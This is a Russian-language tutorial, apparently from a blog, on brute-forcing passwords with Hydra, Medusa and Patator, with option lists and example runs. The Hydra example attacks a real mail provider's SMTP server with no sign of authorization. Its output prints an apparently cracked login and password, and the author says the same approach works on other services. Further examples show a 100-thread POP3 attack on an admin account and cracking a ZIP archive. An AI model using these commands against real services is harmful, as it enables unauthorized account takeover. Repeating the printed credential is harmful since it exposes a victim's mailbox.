Брутфорс (полный перебор, en brute force/Bruteforce, в обиходе просто брут) — метод «грубой силы» или «атака в лоб», перебор паролей, попытка подобрать пароль полным или частичным перебором. Специфика данного метода взлома состоит в том, что он не гарантирует успех подбора правильного пароля, однако процент достижения поставленной цели возрастает от количества паролей которые изначально заданы.  Для этого существует несколько утилит — Hydra, Medusa, Patator.

Что же собой представляет Hydra, в основе программы лежит модульная структура, поэтому проект с самого начала быстро развивался: количество поддерживаемых протоколов росло как на дрожжах. Сейчас с помощью гидры пароль можно подобрать к более чем 30 протоколам, включая telnet, ftp, http, https, smb, несколькими СУБД.

В настоящее время поддерживаются следующие протоколы: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.

Опции Hydra :
  -R восстановить предыдущую прерванную/оборванную сессию
  -S выполнить SSL соединение
  -s ПОРТ   если служба не на порту по умолчанию, то можно задать порт здесь
  -l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА
  -p ПАРОЛЬ  или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА
  -x МИНИМУМ:МАКСИМУМ:НАБОР_СИМВОЛОВ  генерация паролей для брутфорса, наберите "-x -h" для помощи
  -e nsr    "n" — пробовать с пустым паролем, "s" — логин в качестве пароля и/или "r" — реверс учётных данных
  -u        зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x)
  -C ФАЙЛ   формат где "логин:пароль" разделены двоеточиями, вместо опции -L/-P 
  -M ФАЙЛ   список серверов для атак, одна запись на строку, после двоеточия ':' можно задать порт
  -o ФАЙЛ   записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода
  -f / -F   выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально)
  -t ЗАДАЧИ  количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)
  -w / -W ВРЕМЯ  время ожидания ответов (32 секунды) / между соединениями на поток
  -4 / -6   предпочитать IPv4 (по умолчанию) или IPv6 адреса
  -v / -V / -d  вербальный режим / показывать логин+пароль для каждой попытки / режим отладки 
  -q        не печатать сообщения об ошибках соединения
  -U        подробные сведения об использовании модуля
  server    цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M)
  service   служба для взлома (смотрите список поддерживаемых протоколов)
  OPT       некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю)

вот не большой наглядный приемчик брут по smtp :

Вводим команду:

hydra -L /home/mironich/login.txt -P /home/mironich/pass.txt  smtp.yandex.ru smtp-auth

важно написать именно smtp-auth а не smtp ибо выдаст ошибку.

mironich@mironich-Pk:/$ hydra -L /home/mironich/login.txt -P /home/mironich/pass.txt  smtp.yandex.ru smtp-auth
Hydra v8.0.0 (c) 2016 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2016-12-10 13:58:42
[DATA] 16 tasks, 1 servers, 30 login tries (l:6/p:5), ~1 tries per task
[DATA] attacking service smtp-auth on port 25
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
	
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

[STATUS] attack finished for smtp.yandex.ru (waiting for childs to finish)
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password

[25][smtpauth] host: 87.250.250.38   login: Hjlt6658   password: Hjklopm

Небольшой пример брута по словарю, и сбрученая почта аналогично можно поступать с остальными сервисами.

Medusa и Hydra  во многом похожи они модульные и «многопоточные», с хорошо настраиваемыми возможностями. Основное различие в том, как распараллеливается процесс перебора: у Medusa – потоками, у Hydra – процессами. Что дает первой некое преимущество.

Опции Medusa :

-h [TARGET] : указываем имя узла или IP адрес для брута
-H [FILE] : файл с именами или IP дресами для брута
-u [TARGET] : имя пользователя
-U [FILE] : файл с именами пользователя
-p [TARGET] : пароль 
-P [FILE] : файл с паролями для перебора
-С [FILE] : файл с сотавными записями для перебора формат записи host:user:password ... либо же можно указать PwDump файл (user:id:lm:ntlm:::)
-O [FILE] : лог файл для записи информации об успешности/неуспешности попыки
-e [n/s/ns] : дополнительные опции при подборе, -n подставлять в качестве пароля пустой пароль, -s имя пользователя
-M [TEXT] : выбор модуля(протокола) для пербора
-m [TEXT] : параметры для передачи в модуль
-d : вывести список модулей
-n [NUM] : определяет нестандартный TCP порт
-s : использовать SSL
-g [NUM] : прекратить попытки соединения после NUM секунд
-r [NUM] : задает временной промежуток между попытками
-R [NUM] : пробовать NUM раз прежде чем прекратить перебор
-t [NUM] : общее количество логинов  которое может проверяться одновременно (количество потоков)
-T [NUM] : общее количество узлов которое может проверяться одновременно
-L : распараллеливание вычисления, использовать по одному имени пользователя на поток
-f : прекратить перебор хоста после первого удачного варианта
-F : прекратить весь перебор после первого удачного варианта
-b : не показывать баннер при запуске
-q : показать информацию по используемуму модулю пример medusa -M smbnt -q
-v [NUM] : Задает насколько подробен вывод программы NUM=[0-6]  
-w [NUM] : Задает насколько подробен вывод сообщений об ошибках. NUM=[0..10]
-V : вывод версии
-z [TEXT] : выводит информации о предыдущем сканировании

Пример использования

$ medusa -d
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
			
  Available modules in "." :

  Available modules in "/usr/local/lib/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.0
    + http.mod : Brute force module for HTTP : version 2.0
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
    + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.0
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.0
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.0
    + web-form.mod : Brute force module for web forms : version 2.0
    + wrapper.mod : Generic Wrapper Module : version 2.0
                                                                
$ medusa -M pop3 -q
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

pop3.mod (2.0) JoMo-Kun <jmk@foofus.net> :: Brute force module for POP3 sessions

Available module options:
  MODE:? (NORMAL, AS400) [optional]
    Sets the mode for error detection.
 AUTH:? (Authentication Type (USER/PLAIN/LOGIN/NTLM). Default: automatic)
    Module will query service for accepted methods via an "AUTH" request.
    USER (clear-text), SASL PLAIN, SASL LOGIN, and SASL NTLM authentication methods are supported.
  DOMAIN:? [optional]
    AUTH USER - Appends domain to username (e.g. user@domain.com).
    AUTH NTLM - Supplies specified domain during NTLM authentication. The default
                behaviour is to use the server supplied domain value.

  Usage example:
    "medusa -M pop3 -m MODE:AS400 -U accounts.txt -p password"
    "medusa -M pop3 -m DOMAIN:foo.com -U accounts.txt -p password"


medusa -M pop3  -h mail.example.com -u admin -P ~/password.txt -O ~/brut.log -w 10 -v 6  -F  -t 100

Брутфорс узла mail.example.com по протоколу pop3 (входящая почта), пользователь admin, словарь паролей лежит в домашнем каталоге в файле password.txt, записывать результат в файл иrut.log, максимальный уровень вывода и отладки, перебирать в сто потоков.

Что же касается Patator-а он меня меня привлек возможностью очень хитро настраивать фильтрацию определенных ответов от серверов (это нельзя делать ни в Hydra, ни в Medusa). Например, они будут пропускать легитимный логин/пароль, если ответ будет 400, 402, 405, 406 и так далее. Это связанно с тем, что реализация != RFC. A в patator все это можно легко настроить. При этом мы все так же можем указывать необходимые словари и куда их необходимо вставлять. А из интересных фич можно выделить: показ прогресса выполнения и возможность поставить перебор на паузу.

Модули Patator:

ftp_login : Брут-форс FTP
ssh_login : Брут-форс SSH
telnet_login : Брут-форс Telnet
smtp_login : Брут-форс SMTP
smtp_vrfy : Перечисление валидных пользователей с использованием SMTP VRFY
smtp_rcpt : Перечисление валидных пользователей с использованием SMTP RCPT TO
finger_lookup : Перечисление валидных пользователей с использованием Finger
http_fuzz : Брут-форс HTTP
pop_login : Брут-форс POP3
pop_passd : Брут-форс poppassd (http://netwinsite.com/poppassd/)
imap_login : Брут-форс IMAP4
ldap_login : Брут-форс LDAP
smb_login : Брут-форс SMB
smb_lookupsid : Брут-форс SMB SID-lookup
rlogin_login : Брут-форс rlogin
vmauthd_login : Брут-форс демона аутентификации VMware
mssql_login : Брут-форс MSSQL
oracle_login : Брут-форс Oracle
mysql_login : Брут-форс MySQL
mysql_query : Брут-форс запросов MySQL
rdp_login : Брут-форс RDP (NLA)
pgsql_login : Брут-форс PostgreSQL
vnc_login : Брут-форс VNC
dns_forward : Прямой поиск DNS
dns_reverse : Обратный поиск DNS
snmp_login : Брут-форс SNMP v1/2/3
ike_enum : Перечисление преобразований IKE
unzip_pass : Брутфорс паролей зашифрованных файлов ZIP
keystore_pass : Брутфорс паролей файлов хранилища ключей Java
umbraco_crack : Взлом хешей паролей Umbraco HMAC-SHA1
tcp_fuzz : Фаззинг TCP служб
dummy_test : Модуль тестирования

Пример использования на ZIP file:

unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0 
10:54:29 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT
10:54:29 patator    INFO - 
10:54:29 patator    INFO - code  size | candidate                          |   num | mesg
10:54:29 patator    INFO - ----------------------------------------------------------------------
10:54:30 patator    INFO - 0     82   | love                               |   387 | 0 [82] No errors detected in compressed data of challenge1.zip.
^C
10:54:31 patator    INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s
10:54:31 patator    INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154

сам patator можно найти тут : https://github.com/lanjelot/patator